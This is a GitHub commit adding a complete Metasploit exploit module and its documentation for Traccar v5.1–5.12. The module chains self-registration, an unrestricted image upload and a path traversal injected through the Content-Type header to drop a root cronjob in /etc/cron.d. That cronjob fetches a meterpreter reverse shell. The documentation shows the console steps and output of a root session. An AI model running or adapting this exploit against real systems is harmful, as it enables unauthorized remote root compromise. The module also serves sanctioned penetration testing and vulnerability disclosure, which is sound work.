Skip to content

Commit

Permalink
PoC & Documentation
Browse files Browse the repository at this point in the history
PoC & Documentation
  • Loading branch information
h4x-x0r committed Aug 23, 2024
1 parent e30232d commit 6532255
Show file tree
Hide file tree
Showing 2 changed files with 341 additions and 1 deletion.
79 changes: 79 additions & 0 deletions documentation/modules/exploit/linux/http/traccar_rce_upload.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,79 @@
## Vulnerable Application

This module exploits two vulnerabilities in Traccar v5.1 - v5.12 to obtain remote code execution: A path traversal vulnerability
(CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214). By default, the application allows self-registration,
enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges,
potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the
specified payload.

## Testing

The software can be obtained from
[the vendor](https://github.com/traccar/traccar/releases/download/v5.12/traccar-linux-64-5.12.zip).

Installation instructions are available [here](https://www.traccar.org/linux/).

The vulnerable application runs by default on Eclipse Jetty, which listens on TCP port 8082.

**Successfully tested on**

- Traccar v5.12 on Rocky Linux 9.4
- Traccar v5.11 on Rocky Linux 9.4

## Verification Steps

1. Install and run the application
2. Start `msfconsole` and run the following commands:

```
msf6 > use exploit/linux/http/traccar_rce_upload
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(linux/http/traccar_rce_upload) > set RHOSTS <IP>
msf6 exploit(linux/http/traccar_rce_upload) > set LHOST <IP>
msf6 exploit(linux/http/traccar_rce_upload) > exploit
```

You should get a meterpreter session in the context of `root`.

## Options

### USERNAME
Username to be used when creating a new user.

### PASSWORD
Password for the new user.

### EMAIL
E-mail for the new user.

## Scenarios

Running the exploit against Traccar v5.12 on Rocky Linux 9.4, using curl as a fetch command, should result in an output similar
to the following:

```
msf6 exploit(linux/http/traccar_rce_upload) > exploit
[*] Started reverse TCP handler on 192.168.217.128:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Registering new user...
[*] Authenticating...
[*] Adding new device...
[*] Uploading crontab file...
[*] Cronjob successfully written - waiting for execution...
[*] Sending stage (3045380 bytes) to 192.168.217.138
[*] Meterpreter session 1 opened (192.168.217.128:4444 -> 192.168.217.138:58196) at 2024-08-25 17:03:02 -0400
[*] Exploit finished, check thy shell.
meterpreter > sysinfo
Computer : localhost.localdomain
OS : Red Hat 9.4 (Linux 5.14.0-427.13.1.el9_4.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: root
```
263 changes: 262 additions & 1 deletion modules/exploits/linux/http/traccar_rce_upload.rb
Original file line number Diff line number Diff line change
@@ -1 +1,262 @@
draft
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traccar v5 Remote Code Execution (CVE-2024-31214 and CVE-2024-24809)',
'Description' => %q{
Remote Code Execution in Traccar v5.1 - v5.12.
Remote code execution can be obtained by combining two vulnerabilities: A path traversal vulnerability (CVE-2024-24809) and an unrestricted file upload vulnerability (CVE-2024-31214).
By default, the application allows self-registration, enabling any user to register an account and exploit the issues. Moreover, the application runs by default with root privileges, potentially resulting in a complete system compromise.
This module, which should work on any Red Hat-based Linux system, exploits these issues by adding a new cronjob file that executes the specified payload.
},
'License' => MSF_LICENSE,
'Author' => [
'Michael Heinzl', # MSF Module
'yiliufeng168', # Discovery CVE-2024-24809 and PoC
'Naveen Sunkavally' # Discovery CVE-2024-31214 and PoC
],
'References' => [
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-vhrw-72f6-gwp5'],
[ 'URL', 'https://github.com/traccar/traccar/security/advisories/GHSA-3gxq-f2qj-c8v9'],
[ 'URL', 'https://www.horizon3.ai/attack-research/disclosures/traccar-5-remote-code-execution-vulnerabilities/'],
[ 'CVE', '2024-31214'],
[ 'CVE', '2024-24809']
],
'DisclosureDate' => '2024-08-23',
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_CMD ],
'Targets' => [
[
'Linux Command',
{
'Arch' => [ ARCH_CMD ],
'Platform' => [ 'linux' ],
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'PAYLOAD' => 'cmd/linux/http/x64/meterpreter/reverse_tcp'

},
'Type' => :unix_cmd
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [EVENT_DEPENDENT],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
)
)

register_options(
[
Opt::RPORT(8082),
OptString.new('USERNAME', [true, 'Username to be used when creating a new user', Faker::Internet.username]),
OptString.new('PASSWORD', [true, 'Password for the new user', Rex::Text.rand_text_alphanumeric(16)]),
OptString.new('EMAIL', [true, 'E-mail for the new user', Faker::Internet.email]),
OptString.new('TARGETURI', [ true, 'The URI for the Traccar web interface', '/'])
]
)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/server')
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end

unless res && res.code == 200
return CheckCode::Unknown
end

data = res.get_json_document
version = data['version']
if version.nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version)
end

unless Rex::Version.new(version).between?(Rex::Version.new('5.1'), Rex::Version.new('5.12'))
return CheckCode::Safe
end

return CheckCode::Appears
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
print_status('Registering new user...')
body = {
name: datastore['USERNAME'],
email: datastore['EMAIL'],
password: datastore['PASSWORD'],
totpKey: nil
}.to_json

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/users'),
'ctype' => 'application/json',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

# not quite necessary to check for this, since we exit all cases that are not 200 below, but this is a common error
# to run into when this module is executed more than once without updating the provided email address
if res.code == 400 && res.to_s.include?('Unique index or primary key violation')
fail_with(Failure::UnexpectedReply, 'Error: The same E-mail already exists on the system: ' + res.to_s)
end

unless res.code == 200
fail_with(Failure::UnexpectedReply, res.to_s)
end

json = res.get_json_document

unless json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

print_status('Authenticating...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/session'),
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'email' => datastore['EMAIL'],
'password' => datastore['PASSWORD']
}
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

raw_res = res.to_s
unless raw_res =~ /JSESSIONID=([^;]+)/
fail_with(Failure::UnexpectedReply, 'JSESSIONID not found.')
end

json = res.get_json_document
unless res.code == 200 && json.key?('name') && json['name'] == datastore['USERNAME'] && json.key?('email') && json['email'] == datastore['EMAIL']
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

jsessionid = ::Regexp.last_match(1)
vprint_status("JSESSIONID: #{jsessionid}")

name_v = Rex::Text.rand_text_alphanumeric(16)
unique_id_v = Rex::Text.rand_text_alphanumeric(16)

body = {
name: name_v,
uniqueId: unique_id_v
}.to_json

print_status('Adding new device...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/devices'),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
},
'ctype' => 'application/json',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

json = res.get_json_document

unless res.code == 200 && json.key?('name') && json['name'] == name_v && json.key?('uniqueId') && json['uniqueId'] == unique_id_v && json.key?('id')
fail_with(Failure::UnexpectedReply, 'Received unexpected reply:\n' + json.to_s)
end

id = json['id'].to_s
body = Rex::Text.rand_text_alphanumeric(1..4)
fn = Rex::Text.rand_text_alpha(1..2)

print_status('Uploading crontab file...')
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
},
'ctype' => 'image/png',
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?('device.png')
fail_with(Failure::UnexpectedReply, res.to_s)
end

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
},
'ctype' => "image/png;#{fn}=\"/b\"",
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/b\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end

body = "* * * * * root /bin/bash -c '#{cmd}'\n"
cronfn = SecureRandom.hex(12)

res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/devices/#{id}/image"),
'headers' => {
'Cookie' => "JSESSIONID=#{jsessionid}"
},
'ctype' => "image/png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"",
'data' => body
)

unless res
fail_with(Failure::Unreachable, 'Failed to receive a reply from the server.')
end

unless res.code == 200 && res.to_s.include?("device.png;#{fn}=\"/../../../../../../../../../etc/cron.d/#{cronfn}\"")
fail_with(Failure::UnexpectedReply, res.to_s)
end

# It takes up to one minute to get the cron job executed; need to wait as otherwise the handler might terminate too early
print_status('Cronjob successfully written - waiting for execution...')
sleep(60)

print_status('Exploit finished, check thy shell.')
end
end

0 comments on commit 6532255

Please sign in to comment.